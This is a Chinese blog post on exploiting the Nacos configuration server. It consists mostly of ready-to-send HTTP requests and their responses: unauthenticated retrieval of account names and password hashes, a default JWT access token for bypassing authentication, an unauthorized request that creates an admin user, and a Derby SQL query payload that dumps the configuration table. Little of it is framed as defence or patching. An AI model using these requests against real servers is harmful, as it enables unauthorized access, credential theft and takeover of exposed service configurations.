nacos漏洞利用

nacos概述

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

简单来说nacos就是阿里开发的一个中间件,它主要提供三种功能:持久化节点注册,非持久化节点注册和配置管理。

他里面包含大量的配置信息,因此对他的漏洞利用往往能带来意想不到的效果。

漏洞描述

未授权查看账号信息

影响版本:0.1.0 <= Nacos <= 2.2.0

最简单的可以直接通过访问/nacos/v1/auth/users?pageNo=1&pageSize=900,可以查看nacos的账号信息

request

GET /nacos/v1/auth/users?pageNo=1&pageSize=10 HTTP/1.1
Host: xx.xx.xx.xx:xx
User-Agent: user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

response

HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

这段hash值,是nacos的默认密码nacos的hash值,我们获取之后可以直接去比对,若是这个值,就是默认密码。

还有稍微麻烦一点的是,他加了验证机制,使用的jwt去验证的,不过还是存在很多系统使用的默认accesstoken:eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ

这种的话也不难,添加一个参数就行

request

GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
HTTP/1.1
Host: xx.xx.xx.xx:xx
User-Agent: user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

response

HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

同样的看这个hash是否为默认密码。

添加用户

是一个越权添加用户的操作,操作简单。

request

POST /nacos/v1/auth/users HTTP/1.1
Host: xx.xx.xx.xx:xx
User-Agent: user
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27

username=nilf&password=nilf

response

HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 52

{"code":200,"message":"create user ok!","data":null}

SQL注入

payload4:

nacos/v1/cs/ops/derby?sql=select * from config_info

posted @   旬常  阅读(87)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示